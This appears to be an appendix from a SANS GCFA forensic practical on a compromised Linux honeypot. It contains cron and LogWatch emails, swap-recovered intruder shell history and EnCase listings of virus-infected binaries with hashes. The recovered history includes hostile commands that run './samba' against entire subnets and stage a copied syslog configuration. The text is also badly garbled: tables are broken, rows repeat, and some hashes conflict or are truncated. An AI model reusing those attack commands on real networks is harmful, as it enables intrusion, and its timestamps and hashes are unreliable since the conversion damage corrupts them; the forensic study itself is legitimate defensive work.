Message-Id: <200306291002.h5TA22E10471@localhost.localdomain>
To: root@localhost.localdomain
Subject: LogWatch for rh1

################## LogWatch 2.6 Begin ####################
---------------------
sendmail Begin
------------------------
1336 bytes transferred
2 messages sent
----------------------
sendmail End
-------------------------

###################### LogWatch End #########################
From root Sun Jun 29 04:04:03 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5TA22E10482
for root; Sun, 29 Jun 2003 04:02:02 -0600
Date: Sun, 29 Jun 2003 04:02:02 -0600
Message-Id: <200306291002.h5TA22E10482@localhost.localdomain>
From: root@localhost.localdomain (Cron Daemon)
To: root@localhost.localdomain
Subject: Cron <root@rh1> run-parts /etc/cron.daily
X-Cron-Env: <SHELL=/bin/bash>
X-Cron-Env: <PATH=/sbin:/bin:/usr/sbin:/usr/bin>
X-Cron-Env: <MAILTO=root>
X-Cron-Env: <HOME=/>
X-Cron-Env: <LOGNAME=root>

/etc/cron.daily/00webalizer:

Error: Unable to open DNS cache file /var/lib/webalizer/dns_cache.db

From root Sun Jun 29 23:56:11 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5U5r2P27612
for root; Sun, 29 Jun 2003 23:53:02 -0600
Date: Sun, 29 Jun 2003 23:53:02 -0600
Message-Id: <200306300553.h5U5r2P27612@localhost.localdomain>
From: root@localhost.localdomain (Cron Daemon)
To: root@localhost.localdomain
Subject: Cron <root@rh1> /usr/lib/sa/sa2 -A
X-Cron-Env: <SHELL>/bin/sh
X-Cron-Env: <HOME>/root
X-Cron-Env: <PATH>/usr/bin;/bin
X-Cron-Env: <LOGNAME>=root

/path/to/file: line 14: 27610 Segmentation fault find /var/log/sa

From root Mon Jun 30 04:05:09 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
Message-Id: <200306301002.h5UA24x28029@localhost.localdomain>

Error: Unable to open DNS cache file /var/lib/webalizer/dns_cache.db

Volume swap1
The following are bookmarks from Volume swap1
clusters of interest from swap

root: XXX.XXX.XXX.ca: MrIdiot

-i866: -bash: TERM=xterm: DISPLAY=:0.0: HOME=/root: SHELL=/bin/bash: USER=root: LOGNAME=root: PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin:/usr/local/sbin:/usr/bin:/usr/local/bin/X11: XAUTHORITY=/root/.Xauthority:

_PROMPT_COMMAND
tcpdump:
/root/.bashrc
readline stdin
more syslog.conf
ls -l

cd /var/log

tail messages
ls -l

vi /etc/syslog.conf

cd /var/log

tail boot.log

ifconfig -a

cd /usr/

more cron

cd asm

"\033]0;${USER}@${HOSTNAME%%.*}:${PWD/$HOME/~}\007": \033]0;${USER}@${HOSTNAME%%.*}:${PWD/$HOME/~}\007:"

./sys XXX.XXX.49.137

./samba -d 0 -S 192.168.2.*

cp /etc/syslog.conf kld.conf

chown root:root kld.conf

./samba -d 0 -S XXX.XXX.5.*

Files infected with Jac.8759 virus

Files infected by the Linux.Jac.8759 virus
<table>
<thead>
<tr>
<th>File Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>rmdir</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\rmdir</td>
<td>06/29/03 03:22:10PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>9ec6c466e54bdced26d5deff0db0b78</td>
<td>20,480</td>
<td>19,647</td>
</tr>
<tr>
<td>ash.static</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\ash.static</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>06/24/01 08:08:19PM</td>
<td>a37e77f1a768a2dbcfe97f44f37a46aa</td>
<td>481,280</td>
<td>481,251</td>
</tr>
<tr>
<td>loadkeys</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\loadkeys</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>04/15/02 08:05:51AM</td>
<td>fe4f44934ee081482eaf32028799799</td>
<td>82,944</td>
<td>82,911</td>
</tr>
<tr>
<td>bzip2recover</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\bzip2recover</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>5d50b7a01bbf832876e7092dc91d70f4</td>
<td>16,384</td>
<td>15,624</td>
</tr>
<tr>
<td>gencat</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\gencat</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>84492adb4dddeccff3e3c8a30c99725b</td>
<td>20,480</td>
<td>18,040</td>
</tr>
<tr>
<td>gencat</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\gencat</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>84492adb4dddeccff3e3c8a30c99725b</td>
<td>20,480</td>
<td>18,040</td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Sans GCFA Cert Assignment/EnCase Computer Analysis Report  Page 283

Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value 84492adb4dddecff3e3c8a30c99725b
Physical Size 20,480
Logical Size 18,040

154) Name getent
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/getent
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value f1a14ddaf6053137dbda6798ee90f5a9
Physical Size 20,480
Logical Size 19,240

155) Name iconv
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/iconv
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value cfaa21a7bab79204868fa7265a7870e6
Physical Size 53,248
Logical Size 51,004

156) Name lddlibc4
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/lddlibc4
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value 2e4e896f0ea9192ef5d94673d79dd403
Physical Size 8,192
Logical Size 7,800

157) Name localedef
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/localedef
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value bb5be07bef4f5b4d281cf00e5a4fdbc3
Physical Size 299,008
<table>
<thead>
<tr>
<th>Entry</th>
<th>Description</th>
<th>File</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>159)</td>
<td>localedef</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\localedef</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>bb5be07bfef45b4d281cf00e5a4fdcb3</td>
<td>299,008</td>
<td>298,828</td>
</tr>
<tr>
<td>160)</td>
<td>sprof</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\sprof</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>4206b74dd02af036ee754efe56898b3b</td>
<td>24,576</td>
<td>20,552</td>
</tr>
<tr>
<td>161)</td>
<td>db1_dump185</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\db1_dump185</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>174712fef4fb412ad992e992e3a35182</td>
<td>12,288</td>
<td>11,525</td>
</tr>
<tr>
<td>162)</td>
<td>db1_dump185</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\db1_dump185</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>174712fef4fb412ad992e992e3a35182</td>
<td>12,288</td>
<td>11,525</td>
</tr>
<tr>
<td>163)</td>
<td>lsattr</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\lsattr</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>56853d1f05a0a1562c83811c02644930</td>
<td>12,288</td>
<td>9,684</td>
</tr>
</tbody>
</table>
### EnCase Computer Analysis Report

#### Sans GCFA Cert Assignment

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
</tr>
</thead>
<tbody>
<tr>
<td>eject</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot</td>
<td>06/29/03 11:53:01</td>
<td>06/29/03 11:53:01</td>
<td>06/29/03 11:53:01</td>
</tr>
<tr>
<td></td>
<td></td>
<td>system/usr/bin/lsattr</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>file</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot</td>
<td>06/29/03 11:53:01</td>
<td>06/29/03 11:53:01</td>
<td>06/29/03 11:53:01</td>
</tr>
<tr>
<td></td>
<td></td>
<td>system/usr/bin/file</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ksymoops</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot</td>
<td>06/29/03 11:53:01</td>
<td>06/29/03 11:53:01</td>
<td>06/29/03 11:53:01</td>
</tr>
<tr>
<td></td>
<td></td>
<td>system/usr/bin/ksymoops</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

---

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>ksymoops</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/\bin/ksymoops</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>0d9ddca9a28dcc0313ac4012f20c6c31</td>
<td>450,560</td>
<td>448,456</td>
</tr>
<tr>
<td>a2p</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/\bin/a2p</td>
<td>06/29/03 11:53:02PM</td>
<td>06/29/03 11:53:02PM</td>
<td>06/29/03 11:53:02PM</td>
<td>5da1e3d5a9112696f1f7b6c2256240e</td>
<td>110,592</td>
<td>106,681</td>
</tr>
<tr>
<td>basename</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\bin/basename</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>06/30/03 04:50:02PM</td>
<td>f3f3e1eeea45e97997a65b3b05346f9</td>
<td>19,456</td>
<td>18,879</td>
</tr>
<tr>
<td>arch</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\bin/arch</td>
<td>06/30/03 04:50:02PM</td>
<td>04/01/02 05:26:24PM</td>
<td>06/30/03 04:50:02PM</td>
<td>c35e95208ff892a4681492f554ce4f4</td>
<td>12,288</td>
<td>11,463</td>
</tr>
<tr>
<td>ash.static</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\bin/ash.static</td>
<td>06/29/03 03:22:11PM</td>
<td>06/24/01 08:08:19PM</td>
<td>06/29/03 03:22:11PM</td>
<td>a37e77f1a768a2dbcfe97f44f37a46aa</td>
<td>481,280</td>
<td>481,251</td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>---------------</td>
<td>-------------</td>
<td>---------------------------------------------------------------------------</td>
<td>----------------------</td>
<td>-------------------</td>
<td>--------------------</td>
<td>------------------------------------------------</td>
<td>--------------</td>
<td>--------------</td>
</tr>
<tr>
<td>aumix</td>
<td>minimal</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/bin/aumix-minimal</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>02/26/02 04:20:56AM</td>
<td>77b6900f314a7e6c8e16c21291102c1a</td>
<td>19,456</td>
<td>19,071</td>
</tr>
<tr>
<td>kill</td>
<td></td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/bin/kill</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/01/02 05:26:23PM</td>
<td>4e1659b52917e4ba4225086ad43b3159</td>
<td>17,408</td>
<td>16,523</td>
</tr>
<tr>
<td>mv</td>
<td></td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/bin/mv</td>
<td>06/29/03 03:22:10PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>d45155beffebbdc7ac6d26a7add84d3a</td>
<td>53,248</td>
<td>52,255</td>
</tr>
<tr>
<td>Hard Link Data 1</td>
<td></td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/ Hard Links/ Hard Link Data 1</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/13/02 05:55:33PM</td>
<td>6a91a25fc509e033def24687e78ce903</td>
<td>72,704</td>
<td>72,314</td>
</tr>
<tr>
<td>Hard Link Data 1</td>
<td></td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/ Hard Links/ Hard Link Data 1</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/13/02 05:55:33PM</td>
<td>6a91a25fc509e033def24687e78ce903</td>
<td>72,704</td>
<td>72,314</td>
</tr>
<tr>
<td>sfxload</td>
<td></td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/bin/sfxload</td>
<td>06/29/03 03:22:11PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>--------------------</td>
<td>-------------</td>
<td>---------------------------------------------------------------------------</td>
<td>----------------------</td>
<td>------------------</td>
<td>------------------</td>
<td>--------------------------------</td>
<td>---------------</td>
<td>--------------</td>
</tr>
<tr>
<td>Hard Link Data 1</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\Hard Links\Hard Link Data 1</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/13/02 05:55:33PM</td>
<td>6a91a25fc09e033def24687e78ce903</td>
<td>72,704</td>
<td>72,314</td>
</tr>
<tr>
<td>hdx1</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\dev\hdx1</td>
<td>06/29/03 03:22:11PM</td>
<td>06/29/03 03:22:11PM</td>
<td>06/29/03 03:22:11PM</td>
<td></td>
<td>728</td>
<td>0</td>
</tr>
<tr>
<td>rpm</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\rpm</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/18/02 03:35:59PM</td>
<td>20e58626f82cb51559ebbe0c60c4176c</td>
<td>1,744,896</td>
<td>1,744,171</td>
</tr>
<tr>
<td>Hard Link Data 1</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\Hard Links\Hard Link Data 1</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/13/02 05:55:33PM</td>
<td>6a91a25fc09e033def24687e78ce903</td>
<td>72,704</td>
<td>72,314</td>
</tr>
<tr>
<td>sort</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sort</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/22/02 05:02:03PM</td>
<td>2785d86c0d9b4e07f132035bb2d0099</td>
<td>64,512</td>
<td></td>
</tr>
<tr>
<td>Entry</td>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
</tr>
<tr>
<td>---------</td>
<td>-------</td>
<td>-------------</td>
<td>---------------------------------------------------------------------------</td>
<td>-----------------</td>
<td>---------------</td>
<td>--------------</td>
<td>--------------------------</td>
<td>---------------</td>
</tr>
<tr>
<td>186)</td>
<td>stty</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\stty</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>f25eed928a929184a6bcc6c12b4adf75</td>
<td>37,888</td>
</tr>
<tr>
<td>187)</td>
<td>tar</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\tar</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>04/09/02 11:39:13AM</td>
<td>36b826c3993647491db9c5e316ae81b2</td>
<td>164,864</td>
</tr>
<tr>
<td>188)</td>
<td>sync</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sync</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>641c8bf6468f700017add2921fa60d4c</td>
<td>15,360</td>
</tr>
<tr>
<td>189)</td>
<td>tcsh</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\tcsh</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>06/24/01 09:45:26PM</td>
<td>d4a395c4cb342bd6ba6ae59453ee4485</td>
<td>297,984</td>
</tr>
<tr>
<td>190)</td>
<td>ipcalc</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\ipcalc</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/19/02 10:35:23AM</td>
<td>63b258da1ed7b7dc3cacf4c32d8ff40a</td>
<td>38,912</td>
</tr>
<tr>
<td>191)</td>
<td>sense</td>
<td>File</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
### EnCase Computer Analysis Report

#### Sans GCFA Cert Assignment

<table>
<thead>
<tr>
<th>Full Path</th>
<th>Description</th>
<th>File Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>/tmp\s</td>
<td>sense</td>
<td></td>
<td>06/29/03 03:22:08PM</td>
<td>06/29/03 03:25:20PM</td>
<td>02/07/02 11:37:18AM</td>
<td>464dc23cac477c43418eb8d3ef087065</td>
<td>4,096</td>
<td>4,060</td>
</tr>
<tr>
<td>/bin\sleep</td>
<td></td>
<td></td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>bbf8b62445518e7be3fe1db34abd1dea</td>
<td>20,480</td>
<td>19,999</td>
</tr>
<tr>
<td>/bin\touch</td>
<td></td>
<td></td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:19PM</td>
<td>66fb0a92dc2acbd0c28956eeceea704a</td>
<td>33,792</td>
<td>32,799</td>
</tr>
<tr>
<td>/bin\sed</td>
<td></td>
<td></td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>04/05/02 03:26:20AM</td>
<td>541c2abbe42d278119dd924854202ec</td>
<td>60,416</td>
<td>59,612</td>
</tr>
<tr>
<td>/dev\hdx1</td>
<td></td>
<td></td>
<td>06/29/03 03:22:11PM</td>
<td>06/29/03 03:22:11PM</td>
<td>06/29/03 03:22:11PM</td>
<td>728</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>.\libgc.so</td>
<td></td>
<td></td>
<td>06/29/03 03:22:08PM</td>
<td>06/29/03 03:22:10PM</td>
<td>06/29/03 03:22:08PM</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>---------</td>
<td>-------------</td>
<td>----------------------------------</td>
<td>-----------------------</td>
<td>-------------------</td>
<td>--------------------</td>
<td>-----------------------------------</td>
<td>---------------</td>
<td>--------------</td>
</tr>
<tr>
<td>mount</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mount</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:55:34PM</td>
<td>04/01/02 05:26:24PM</td>
<td>51e4219c74324b6225ec4a9feb64d0e8</td>
<td>69,632</td>
<td>68,863</td>
</tr>
<tr>
<td>pgawk</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\pgawk</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/18/02 05:25:27AM</td>
<td>dc46f094dc32c55945a8a91dfc7da4c</td>
<td>259,072</td>
<td>258,236</td>
</tr>
<tr>
<td>killall</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\dev\killall</td>
<td>06/29/03 03:22:11PM</td>
<td>06/29/03 03:22:07PM</td>
<td>02/28/02 03:09:19PM</td>
<td>9b8536a36dc974af3264e68dd6c014f0</td>
<td>13,312</td>
<td>12,320</td>
</tr>
<tr>
<td>login</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\login</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/01/02 05:26:23PM</td>
<td>f7bbe014bea2e758c25ff9d727ef5e82</td>
<td>28,672</td>
<td>27,839</td>
</tr>
<tr>
<td>login</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\login</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/01/02 05:26:23PM</td>
<td>f7bbe014bea2e758c25ff9d727ef5e82</td>
<td>28,672</td>
<td>27,839</td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>------------</td>
<td>-------------</td>
<td>------------------------------------------------</td>
<td>-------------------------</td>
<td>----------------------</td>
<td>-----------------------</td>
<td>----------------------------------</td>
<td>---------------</td>
<td>--------------</td>
</tr>
<tr>
<td>nice</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\nice</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>35cb1f72e74a590e9feab89765bfeefc</td>
<td>21,504</td>
<td>20,767</td>
</tr>
<tr>
<td>popauth</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system.x\popauth</td>
<td>06/29/03 03:22:08PM</td>
<td>06/29/03 03:22:10PM</td>
<td>06/29/03 03:22:08PM</td>
<td>6c613bf6376fe55623e95ec31f55aba6</td>
<td>36,864</td>
<td>36,415</td>
</tr>
<tr>
<td>pwd</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\pwd</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>772fa70e99f2867c1092009ce75cf8</td>
<td>19,456</td>
<td>18,815</td>
</tr>
<tr>
<td>rc.sysinit</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\rc.sysinit</td>
<td>06/29/03 03:22:09PM</td>
<td>06/30/03 04:45:40PM</td>
<td>06/29/03 03:22:09PM</td>
<td>ee965268d26b94ed0f6eb16d6e5be890</td>
<td>22,528</td>
<td>22,379</td>
</tr>
<tr>
<td>rmdir</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\rmdir</td>
<td>06/29/03 03:22:10PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>9ec6c46ce54bdced26d5d7eff0dbb078</td>
<td>20,480</td>
<td>19,647</td>
</tr>
<tr>
<td>true</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\true</td>
<td>06/29/03 03:22:11PM</td>
<td></td>
<td></td>
<td></td>
<td>20,480</td>
<td>19,647</td>
</tr>
</tbody>
</table>
### EnCase Computer Analysis Report

**Sans GCFA Cert Assignment: EnCase Computer Analysis Report**  
Page 293

<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>208)</td>
<td>umount</td>
<td>File</td>
<td></td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>04/01/02 05:26:24PM</td>
<td>5a6945a0c9a35f6325526b40d7b13646</td>
<td>15,360</td>
<td>14,367</td>
</tr>
<tr>
<td>209)</td>
<td>uname</td>
<td>File</td>
<td></td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 05:02:13AM</td>
<td>eaa0bfd11771f10141e92b8a5e7ed12</td>
<td>35,840</td>
<td>35,327</td>
</tr>
<tr>
<td>210)</td>
<td>usleep</td>
<td>File</td>
<td></td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/19/02 10:35:23AM</td>
<td>79bbdf9a074c1d8bada03456410ebe5</td>
<td>19,456</td>
<td>19,071</td>
</tr>
<tr>
<td>211)</td>
<td>vi</td>
<td>File</td>
<td></td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>03/27/02 05:20:14PM</td>
<td>512271dc84a70d92551a73f8589049</td>
<td>33,792</td>
<td>33,349</td>
</tr>
<tr>
<td>212)</td>
<td>install</td>
<td>File</td>
<td></td>
<td>06/29/03 03:22:08PM</td>
<td>06/29/03 03:25:21PM</td>
<td>03/24/03 09:37:31PM</td>
<td>5ab9ac0a738a778c85f553738f3869d</td>
<td>12,288</td>
<td>12,288</td>
</tr>
<tr>
<td>Entry</td>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>-------</td>
<td>--------</td>
<td>-------------</td>
<td>-----------------------------------------------</td>
<td>----------------</td>
<td>----------------</td>
<td>--------------</td>
<td>-----------------------------------</td>
<td>---------------</td>
<td>--------------</td>
</tr>
<tr>
<td>213</td>
<td>grep</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\grep</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/26/02 11:24:50AM</td>
<td>03800b9ba1467bb667ea3d81423614f9</td>
<td>122,880</td>
<td>122,835</td>
</tr>
<tr>
<td>214</td>
<td>gettext</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\gettext</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/05/02 12:14:26AM</td>
<td>8d1cfcee9be26d6fca3ff36502af8744</td>
<td>44,032</td>
<td>43,452</td>
</tr>
<tr>
<td>215</td>
<td>false</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\false</td>
<td>06/29/03 03:22:11PM</td>
